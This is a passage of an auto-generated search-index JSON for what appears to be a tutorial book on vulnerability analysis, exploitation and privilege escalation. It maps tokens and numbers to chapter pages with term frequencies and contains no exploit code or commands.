hapters/vulnerability-trigger.html","tf":0.0011594202898550724}}},"docs":{}}},"docs":{}},"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}},")":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0008401008120974517}},":":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}},"|":{"docs":{},"g":{"docs":{},"e":{"docs":{},"n":{"docs":{},"e":{"docs":{},"r":{"docs":{},"i":{"docs":{},"c":{"docs":{},"_":{"docs":{},"x":{"8":{"6":{"docs":{},"_":{"6":{"4":{"docs":{},":":{"docs":{},"/":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0076045627376425855}}}}},"docs":{}},"docs":{}}},"docs":{}},"docs":{}}}}}}}}}}},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},"]":{"docs":{},".":{"docs":{},"i":{"docs":{},"o":{"docs":{},"v":{"docs":{},"_":{"docs":{},"b":{"docs":{},"a":{"docs":{},"s":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0014001680201624195}}}}},"l":{"docs":{},"e":{"docs":{},"n":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0014001680201624195}}}}}}}}}}}},"2":{"0":{"1":{"7":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.00641025641025641}}},"8":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237},"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.00641025641025641}}},"9":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237},"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.006376811594202898},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0019971469329529245},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839},"chapters/resources.html":{"ref":"chapters/resources.html","tf":0.0375}},".":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205}}}},"docs":{}},"docs":{}},"1":{"docs":{},".":{"0":{"docs":{},".":{"6":{"1":{"1":{"3":{"6":{"6":{"9":{"docs":{},".":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}}},"docs":{}}},"2":{"1":{"5":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237},"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.005797101449275362},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0017118402282453639},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839},"chapters/resources.html":{"ref":"chapters/resources.html","tf":0.0375}},".":{"docs":{},"p":{"docs":{},"a":{"docs":{},"t":{"docs":{},"c":{"docs":{},"h":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}}}}},"a":{"docs":{},"v":{"docs":{},"d":{"docs":{},"/":{"docs":{},"c":{"docs":{},"o":{"docs":{},"n":{"docs":{},"f":{"docs":{},"i":{"docs":{},"g":{"docs":{},".":{"docs":{},"i":{"docs":{},"n":{"docs":{},"i":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}}}}}}}},"docs":{}},"docs":{}},"5":{"6":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0008401008120974517}},"*":{"1":{"6":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},"docs":{}},"docs":{}}},"7":{"docs":{},"t":{"docs":{},"h":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205}}}}},"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}},".":{"7":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.006507592190889371},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}},".":{"1":{"7":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}}},"docs":{}},"docs":{}}},"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205}}},")":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},";":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}},"]":{"docs":{},".":{"docs":{},"i":{"docs":{},"o":{"docs":{},"v":{"docs":{},"_":{"docs":{},"b":{"docs":{},"a":{"docs":{},"s":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0008401008120974517}}}}},"l":{"docs":{},"e":{"docs":{},"n":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},";":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}}}},"3":{"2":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},"b":{"docs":{},"i":{"docs":{},"t":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}},"4":{"docs":{},".":{"0":{"3":{"6":{"8":{"7":{"6":{"docs":{},"]":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464}}}},"docs":{}},"docs":{}},"docs":{}},"7":{"8":{"8":{"9":{"docs":{},"]":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464}}}},"docs":{}},"docs":{}},"docs":{}},"8":{"7":{"4":{"3":{"docs":{},"]":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464}}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"4":{"0":{"1":{"0":{"8":{"docs":{},"]":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464}}}},"docs":{}},"docs":{}},"docs":{}},"2":{"4":{"9":{"7":{"docs":{},"]":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464}}}},"docs":{}},"docs":{}},"docs":{}},"3":{"5":{"8":{"6":{"docs":{},"]":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464}}}},"docs":{}},"docs":{}},"docs":{}},"4":{"5":{"4":{"2":{"docs":{},"]":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464}}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"5":{"4":{"8":{"8":{"5":{"docs":{},"]":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464}}}},"docs":{}},"docs":{}},"docs":{}},"7":{"6":{"6":{"0":{"docs":{},"]":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464}}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"7":{"3":{"7":{"1":{"6":{"docs":{},"]":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464}}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}}},"8":{"2":{"docs":{},".":{"3":{"9":{"8":{"5":{"6":{"1":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"4":{"0":{"2":{"7":{"9":{"6":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"docs":{}},"docs":{}},"docs":{}},"5":{"9":{"2":{"9":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"docs":{}},"docs":{}},"docs":{}},"9":{"3":{"8":{"6":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"1":{"0":{"1":{"2":{"7":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"docs":{}},"docs":{}},"docs":{}},"3":{"8":{"7":{"1":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"docs":{}},"docs":{}},"docs":{}},"7":{"9":{"3":{"1":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"docs":{}},"docs":{}},"docs":{}},"9":{"1":{"0":{"6":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"2":{"0":{"5":{"9":{"6":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"docs":{}},"docs":{}},"docs":{}},"2":{"1":{"4":{"6":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"docs":{}},"docs":{}},"docs":{}},"3":{"6":{"9":{"1":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"docs":{}},"docs":{}},"docs":{}},"5":{"0":{"8":{"2":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"docs":{}},"docs":{}},"docs":{}},"6":{"4":{"3":{"7":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"docs":{}},"docs":{}},"docs":{}},"7":{"4":{"6":{"8":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"docs":{}},"docs":{}},"docs":{}},"8":{"7":{"2":{"5":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"docs":{}},"docs":{}},"docs":{}},"9":{"8":{"8":{"4":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"3":{"1":{"0":{"1":{"0":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"docs":{}},"docs":{}},"docs":{}},"2":{"0":{"0":{"3":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"docs":{}},"docs":{}},"docs":{}},"3":{"1":{"5":{"6":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"docs":{}},"docs":{}},"docs":{}},"4":{"2":{"5":{"2":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"docs":{}},"docs":{}},"docs":{}},"5":{"0":{"2":{"4":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"docs":{}},"docs":{}},"9":{"5":{"3":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"docs":{}},"docs":{}},"docs":{}},"6":{"8":{"2":{"5":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"docs":{}},"docs":{}},"docs":{}},"7":{"4":{"8":{"3":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"docs":{}},"docs":{}},"docs":{}},"8":{"1":{"4":{"5":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"docs":{}},"docs":{}},"9":{"3":{"2":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"docs":{}},"docs":{}},"docs":{}},"9":{"6":{"4":{"2":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"4":{"0":{"5":{"5":{"5":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"docs":{}},"docs":{}},"docs":{}},"1":{"2":{"4":{"7":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"docs":{}},"docs":{}},"9":{"6":{"4":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"docs":{}},"docs":{}},"docs":{}},"2":{"6":{"5":{"2":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"docs":{}},"docs":{}},"docs":{}},"3":{"2":{"6":{"4":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"docs":{}},"docs":{}},"9":{"2":{"0":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"docs":{}},"docs":{}},"docs":{}},"4":{"7":{"8":{"4":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"docs":{}},"docs":{}},"docs":{}},"5":{"3":{"4":{"1":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"docs":{}},"docs":{}},"docs":{}},"6":{"6":{"6":{"1":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"docs":{}},"docs":{}},"docs":{}},"7":{"9":{"0":{"4":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"docs":{}},"docs":{}},"docs":{}},"9":{"1":{"9":{"0":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"5":{"0":{"5":{"1":{"7":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"docs":{}},"docs":{}},"docs":{}},"1":{"8":{"8":{"9":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"docs":{}},"docs":{}},"docs":{}},"3":{"1":{"4":{"6":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"docs":{}},"docs":{}},"4":{"2":{"7":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"docs":{}},"docs":{}},"docs":{}},"4":{"0":{"5":{"4":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"docs":{}},"docs":{}},"7":{"3":{"8":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"docs":{}},"docs":{}},"docs":{}},"5":{"4":{"4":{"5":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"docs":{}},"docs":{}},"docs":{}},"6":{"0":{"6":{"3":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"docs":{}},"docs":{}},"8":{"6":{"9":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"docs":{}},"docs":{}},"docs":{}},"7":{"6":{"0":{"5":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"docs":{}},"docs":{}},"docs":{}},"8":{"2":{"3":{"5":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"docs":{}},"docs":{}},"9":{"1":{"0":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"docs":{}},"docs":{}},"docs":{}},"9":{"5":{"9":{"8":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"6":{"0":{"5":{"2":{"5":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"docs":{}},"docs":{}},"docs":{}},"1":{"0":{"8":{"5":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"docs":{}},"docs":{}},"3":{"3":{"4":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"docs":{}},"docs":{}},"7":{"6":{"2":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"docs":{}},"docs":{}},"docs":{}},"2":{"2":{"2":{"2":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"docs":{}},"docs":{}},"7":{"1":{"1":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"docs":{}},"docs":{}},"docs":{}},"3":{"1":{"4":{"9":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"docs":{}},"docs":{}},"5":{"3":{"8":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"docs":{}},"docs":{}},"docs":{}},"4":{"0":{"9":{"5":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"docs":{}},"docs":{}},"6":{"2":{"3":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"docs":{}},"docs":{}},"docs":{}},"5":{"0":{"7":{"1":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"docs":{}},"docs":{}},"5":{"1":{"8":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"docs":{}},"docs":{}},"9":{"0":{"6":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"docs":{}},"docs":{}},"docs":{}},"6":{"3":{"5":{"8":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"docs":{}},"docs":{}},"9":{"5":{"3":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"docs":{}},"docs":{}},"docs":{}},"7":{"3":{"3":{"5":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"docs":{}},"docs":{}},"7":{"8":{"3":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}}},"docs":{}},"docs":{}},"docs":{}},"9":{"9":{"8":{"3":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"7":{"2":{"0":{"6":{"5":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"docs":{}},"docs":{}},"9":{"1":{"5":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"docs":{}},"docs":{}},"docs":{}},"4":{"8":{"7":{"1":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"docs":{}},"docs":{}},"docs":{}},"5":{"7":{"4":{"4":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"docs":{}},"docs":{}},"docs":{}},"6":{"9":{"6":{"0":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"docs":{}},"docs":{}},"docs":{}},"8":{"0":{"7":{"2":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"docs":{}},"docs":{}},"7":{"8":{"4":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"docs":{}},"docs":{}},"9":{"7":{"3":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"docs":{}},"docs":{}},"docs":{}},"9":{"5":{"7":{"1":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"8":{"0":{"4":{"7":{"9":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"docs":{}},"docs":{}},"docs":{}},"1":{"3":{"1":{"8":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"docs":{}},"docs":{}},"docs":{}},"2":{"1":{"5":{"5":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"docs":{}},"docs":{}},"8":{"0":{"6":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"docs":{}},"docs":{}},"docs":{}},"3":{"6":{"4":{"8":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"docs":{}},"docs":{}},"docs":{}},"4":{"4":{"8":{"5":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}}},"docs":{}},"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.004338394793926247},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}},"4":{"0":{"0":{"0":{"0":{"0":{"0":{"0":{"0":{"0":{"0":{"1":{"0":{"2":{"0":{"0":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}},"8":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0008401008120974517}}},"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}}},"3":{"0":{"2":{"docs":{},",":{"6":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205}}},"docs":{}}},"docs":{}},"docs":{}},"4":{"docs":{},".":{"8":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"docs":{}}},"7":{"0":{"1":{"docs":{},".":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}},"docs":{}},"6":{"8":{"docs":{},",":{"1":{"0":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}},"docs":{}},"docs":{}}},"docs":{}},"8":{"1":{"docs":{},",":{"8":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}},"docs":{}}},"docs":{}},"docs":{}},"8":{"docs":{},"u":{"docs":{},"l":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}},"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0017391304347826088},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}},".":{"1":{"4":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.015184381778741865},"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.01282051282051282},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerab